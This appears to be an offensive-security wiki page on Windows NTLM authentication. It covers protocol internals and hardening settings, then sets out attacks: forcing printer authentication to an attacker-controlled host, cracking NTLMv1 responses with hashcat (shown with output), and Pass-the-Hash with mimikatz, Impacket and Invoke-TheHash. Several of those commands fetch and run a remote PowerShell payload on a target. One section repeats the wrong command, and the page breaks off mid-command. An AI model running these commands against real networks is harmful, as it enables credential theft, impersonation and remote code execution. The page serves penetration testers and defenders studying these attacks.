## Basic Information
|
|
|
|
In environments where **Windows XP and Server 2003** are in operation, LM (Lan Manager) hashes are utilized, although it's widely recognized that these can be easily compromised. A particular LM hash, `AAD3B435B51404EEAAD3B435B51404EE`, indicates a scenario where LM is not employed, representing the hash for an empty string.
|
|
|
|
By default, the **Kerberos** authentication protocol is the primary method used. NTLM (NT LAN Manager) steps in under specific circumstances: absence of Active Directory, non-existence of the domain, malfunctioning of Kerberos due to improper configuration, or when connections are attempted using an IP address rather than a valid hostname.
|
|
|
|
The presence of the **"NTLMSSP"** header in network packets signals an NTLM authentication process.
|
|
|
|
Support for the authentication protocols - LM, NTLMv1, and NTLMv2 - is facilitated by a specific DLL located at `%windir%\Windows\System32\msv1\_0.dll`.
|
|
|
|
**Key Points**:
|
|
|
|
* LM hashes are vulnerable and an empty LM hash (`AAD3B435B51404EEAAD3B435B51404EE`) signifies its non-use.
|
|
* Kerberos is the default authentication method, with NTLM used only under certain conditions.
|
|
* NTLM authentication packets are identifiable by the "NTLMSSP" header.
|
|
* LM, NTLMv1, and NTLMv2 protocols are supported by the system file `msv1\_0.dll`.
|
|
|
|
## LM, NTLMv1 and NTLMv2
|
|
|
|
You can check and configure which protocol will be used:
|
|
|
|
### GUI
|
|
|
|
Execute _secpol.msc_ -> Local policies -> Security Options -> Network Security: LAN Manager authentication level. There are 6 levels (from 0 to 5).
|
|
|
|
.png>)
|
|
|
|
### Registry
|
|
|
|
This will set the level 5:
|
|
|
|
```
|
|
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f
|
|
```
|
|
|
|
Possible values:
|
|
|
|
```
|
|
0 - Send LM & NTLM responses
|
|
1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
|
|
2 - Send NTLM response only
|
|
3 - Send NTLMv2 response only
|
|
4 - Send NTLMv2 response only, refuse LM
|
|
5 - Send NTLMv2 response only, refuse LM & NTLM
|
|
```
|
|
|
|
## Basic NTLM Domain authentication Scheme
|
|
|
|
1. The **user** introduces his **credentials**
|
|
2. The client machine **sends an authentication request** sending the **domain name** and the **username**
|
|
3. The **server** sends the **challenge**
|
|
4. The **client encrypts** the **challenge** using the hash of the password as key and sends it as response
|
|
5. The **server sends** to the **Domain controller** the **domain name, the username, the challenge and the response**. If there **isn't** an Active Directory configured or the domain name is the name of the server, the credentials are **checked locally**.
|
|
6. The **domain controller checks if everything is correct** and sends the information to the server
|
|
|
|
The **server** and the **Domain Controller** are able to create a **Secure Channel** via **Netlogon** server as the Domain Controller know the password of the server (it is inside the **NTDS.DIT** db).
|
|
|
|
### Local NTLM authentication Scheme
|
|
|
|
The authentication is as the one mentioned **before but** the **server** knows the **hash of the user** that tries to authenticate inside the **SAM** file. So, instead of asking the Domain Controller, the **server will check itself** if the user can authenticate.
|
|
|
|
### NTLMv1 Challenge
|
|
|
|
The **challenge length is 8 bytes** and the **response is 24 bytes** long.
|
|
|
|
The **hash NT (16bytes)** is divided in **3 parts of 7bytes each** (7B + 7B + (2B+0x00\*5)): the **last part is filled with zeros**. Then, the **challenge** is **ciphered separately** with each part and the **resulting** ciphered bytes are **joined**. Total: 8B + 8B + 8B = 24Bytes.
|
|
|
|
**Problems**:
|
|
|
|
* Lack of **randomness**
|
|
* The 3 parts can be **attacked separately** to find the NT hash
|
|
* **DES is crackable**
|
|
* The 3º key is composed always by **5 zeros**.
|
|
* Given the **same challenge** the **response** will be **same**. So, you can give as a **challenge** to the victim the string "**1122334455667788**" and attack the response used **precomputed rainbow tables**.
|
|
|
|
### NTLMv1 attack
|
|
|
|
Nowadays is becoming less common to find environments with Unconstrained Delegation configured, but this doesn't mean you can't **abuse a Print Spooler service** configured.
|
|
|
|
You could abuse some credentials/sessions you already have on the AD to **ask the printer to authenticate** against some **host under your control**. Then, using `metasploit auxiliary/server/capture/smb` or `responder` you can **set the authentication challenge to 1122334455667788**, capture the authentication attempt, and if it was done using **NTLMv1** you will be able to **crack it**.\
|
|
If you are using `responder` you could try to \*\*use the flag `--lm` \*\* to try to **downgrade** the **authentication**.\
|
|
&#xNAN;_Note that for this technique the authentication must be performed using NTLMv1 (NTLMv2 is not valid)._
|
|
|
|
Remember that the printer will use the computer account during the authentication, and computer accounts use **long and random passwords** that you **probably won't be able to crack** using common **dictionaries**. But the **NTLMv1** authentication **uses DES** ([more info here](./#ntlmv1-challenge)), so using some services specially dedicated to cracking DES you will be able to crack it (you could use [https://crack.sh/](https://crack.sh) or [https://ntlmv1.com/](https://ntlmv1.com) for example).
|
|
|
|
### NTLMv1 attack with hashcat
|
|
|
|
NTLMv1 can also be broken with the NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) which formats NTLMv1 messages im a method that can be broken with hashcat.
|
|
|
|
The command
|
|
|
|
```bash
|
|
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
|
|
```
|
|
|
|
would output the below:
|
|
|
|
```bash
|
|
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
|
|
|
|
Hostname: DUSTIN-5AA37877
|
|
Username: hashcat
|
|
Challenge: 1122334455667788
|
|
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
|
|
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
|
|
CT1: 727B4E35F947129E
|
|
CT2: A52B9CDEDAE86934
|
|
CT3: BB23EF89F50FC595
|
|
|
|
To Calculate final 4 characters of NTLM hash use:
|
|
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
|
|
|
|
To crack with hashcat create a file with the following contents:
|
|
727B4E35F947129E:1122334455667788
|
|
A52B9CDEDAE86934:1122334455667788
|
|
|
|
To crack with hashcat:
|
|
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
|
|
|
|
To Crack with crack.sh use the following token
|
|
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
|
|
```
|
|
|
|
Create a file with the contents of:
|
|
|
|
```bash
|
|
727B4E35F947129E:1122334455667788
|
|
A52B9CDEDAE86934:1122334455667788
|
|
```
|
|
|
|
Run hashcat (distributed is best through a tool such as hashtopolis) as this will take several days otherwise.
|
|
|
|
```bash
|
|
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
|
|
```
|
|
|
|
In this case we know the password to this is password so we are going to cheat for demo purposes:
|
|
|
|
```bash
|
|
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
|
|
DESKEY1: b55d6d04e67926
|
|
DESKEY2: bcba83e6895b9d
|
|
|
|
echo b55d6d04e67926>>des.cand
|
|
echo bcba83e6895b9d>>des.cand
|
|
```
|
|
|
|
We now need to use the hashcat-utilities to convert the cracked des keys into parts of the NTLM hash:
|
|
|
|
```bash
|
|
./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753
|
|
b4b9b02e6f09a9 # this is part 1
|
|
|
|
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
|
|
bd760f388b6700 # this is part 2
|
|
```
|
|
|
|
Ginally the last part:
|
|
|
|
```bash
|
|
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
|
|
|
|
586c # this is the last part
|
|
```
|
|
|
|
Combine them together:
|
|
|
|
```bash
|
|
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
|
```
|
|
|
|
### NTLMv2 Challenge
|
|
|
|
The **challenge length is 8 bytes** and **2 responses are sent**: One is **24 bytes** long and the length of the **other** is **variable**.
|
|
|
|
**The first response** is created by ciphering using **HMAC\_MD5** the **string** composed by the **client and the domain** and using as **key** the **hash MD4** of the **NT hash**. Then, the **result** will by used as **key** to cipher using **HMAC\_MD5** the **challenge**. To this, **a client challenge of 8 bytes will be added**. Total: 24 B.
|
|
|
|
The **second response** is created using **several values** (a new client challenge, a **timestamp** to avoid **replay attacks**...)
|
|
|
|
If you have a **pcap that has captured a successful authentication process**, you can follow this guide to get the domain, username , challenge and response and try to creak the password: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
|
|
|
|
## Pass-the-Hash
|
|
|
|
**Once you have the hash of the victim**, you can use it to **impersonate** it.\
|
|
You need to use a **tool** that will **perform** the **NTLM authentication using** that **hash**, **or** you could create a new **sessionlogon** and **inject** that **hash** inside the **LSASS**, so when any **NTLM authentication is performed**, that **hash will be used.** The last option is what mimikatz does.
|
|
|
|
**Please, remember that you can perform Pass-the-Hash attacks also using Computer accounts.**
|
|
|
|
### **Mimikatz**
|
|
|
|
**Needs to be run as administrator**
|
|
|
|
```bash
|
|
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
|
|
```
|
|
|
|
This will launch a process that will belongs to the users that have launch mimikatz but internally in LSASS the saved credentials are the ones inside the mimikatz parameters. Then, you can access to network resources as if you where that user (similar to the `runas /netonly` trick but you don't need to know the plain-text password).
|
|
|
|
### Pass-the-Hash from linux
|
|
|
|
You can obtain code execution in Windows machines using Pass-the-Hash from Linux.\
|
|
[**Access here to learn how to do it.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
|
|
|
|
### Impacket Windows compiled tools
|
|
|
|
You can download[ impacket binaries for Windows here](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries).
|
|
|
|
* **psexec\_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
|
|
* **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
|
|
* **atexec.exe** (In this case you need to specify a command, cmd.exe and powershell.exe are not valid to obtain an interactive shell)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
|
|
* There are several more Impacket binaries...
|
|
|
|
### Invoke-TheHash
|
|
|
|
You can get the powershell scripts from here: [https://github.com/Kevin-Robertson/Invoke-TheHash](https://github.com/Kevin-Robertson/Invoke-TheHash)
|
|
|
|
#### Invoke-SMBExec
|
|
|
|
```bash
|
|
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose
|
|
```
|
|
|
|
#### Invoke-WMIExec
|
|
|
|
```bash
|
|
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose
|
|
```
|
|
|
|
#### Invoke-SMBClient
|
|
|
|
```bash
|
|
Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose
|
|
```
|
|
|
|
#### Invoke-SMBEnum
|
|
|
|
```bash
|

Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose
|
|
```
|
|
|
|
#### Invoke-TheHash
|
|
|
|
This function is a **mix of all the others**. You can pass **several hosts**, **exclude** someones and **select** the **option** you want to use (_SMBExec, WMIExec, SMBClient, SMBEnum_). If you select **any** of **SMBExec** and **WMIExec** but you **don't** give any _**Command**_ parameter it will just **check** if you have **enough permissions**.
|
|
|
|
```
|
|
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
